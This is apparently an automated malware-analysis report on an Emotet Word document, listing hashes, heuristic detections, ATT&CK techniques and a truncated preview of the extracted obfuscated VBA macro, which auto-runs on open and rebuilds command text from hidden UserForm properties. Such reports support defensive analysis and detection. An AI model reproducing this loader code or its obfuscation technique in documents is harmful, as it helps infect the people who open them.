Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d3b93c2b7438283f…

MALICIOUS

Office (OLE)

184.6 KB Created: 2019-12-17 23:24:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: f288ccdb1133a7e51bc706920ab5138c SHA-1: 217bf54a3803bf16938090e3a7c652ce1e96b60b SHA-256: d3b93c2b7438283fa8d9554fce5594d7dd0440a92a56ba04cd995dd1f4db43df
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample exhibits critical heuristic firings for a VBA UserForm hidden-property command stager and a p-code auto-execution with CreateObject, strongly indicating malicious intent. ClamAV detection confirms this, identifying it as Doc.Downloader.Emotet-7461037-0. The VBA macro code, though heavily obfuscated, uses techniques common in Emotet loaders to download and execute further stages.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9741 bytes
SHA-256: 35813bab3bbd72eed5ff0ce761315116e37d98b73c49b532a02237dbc0dcea2a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kenqbaannpxv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Rfhqgwhfgd, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Wislgxsvfiur = Bhgzvfmibtw To Ieclvrlzooc
         Idahgtmumkjh = Fnhypigk
         Wyzkrmsd = Wjitmdlw
Next
Select Case Tespgmhqnzpy
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Wepatvmyoogn = Qdcmsdnyoackq To Apnuxqomieehq
         Ktvtneyzym = Poxifxcnztshi
         Tiovxxepjpx = Bpohrsyxkvyk
Next
Select Case Krankkneqkr
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Zxgismsdsj = Vjkjdxyp To Iwnqlurwrbhs
         Sgyonncvw = Rkwusvxaepj
         Aylwsitd = Qwykcxsm
Next
Select Case Bujucyfj
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Bhtxugisf
End Sub

Attribute VB_Name = "Wwgrepkme"
Attribute VB_Base = "0{BD5FA3BA-400E-48D6-B461-0411120C1D8F}{198F5E3E-A862-432C-A199-78064FFB45B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ulgvzbdzggb"
Function Chpntqqqvf()
   For Qhvvtshydpn = Azxnmcptkgghd To Zmrmixse
         Lgrmqyuyc = Qxdlnvgbpopuf
         Ybaahukiavxg = Mibecioob
Next
Select Case Mdxqwllo
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Xshlgyshcm = Kenqbaannpxv.Rfhqgwhfgd
   For Rgupdtyqz = Ckibmhbshwkq To Ckssfsuvfbrep
         Uwkbttue = Fyrnkhpzqa
         Yuaahfhkh = Qnaapbei
Next
Select Case Fzudiuubeya
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ghzuhuukdhb = Xshlgyshcm + Wwgrepkme.Kvqtfnth + Wwgrepkme.Dnlelqcfscchw + Wwgrepkme.Hrdjfoawbolqg
   For Ikuqzyhwgrhx = Wleoyqyqyzg To Qpsjvmmmicxf
         Gofveifo = Kwytslujvfq
         Imlldnihjmp = Sdcvnbjc
Next
Select Case Nsuxhnjgkzbxi
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ppollntxt = Ghzuhuukdhb + Wwgrepkme.Qyszjflasdxnd + Wwgrepkme.Bkzhdlvhyuvle
   For Ganttoqfwk = Nhugiigrzd To Dmalalmu
         Rvmhlatlo = Srepihidzlcg
         Hoeelygripz = Xfxnpfll
Next
Select Case Wrddqruppcsel
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate
... (truncated)

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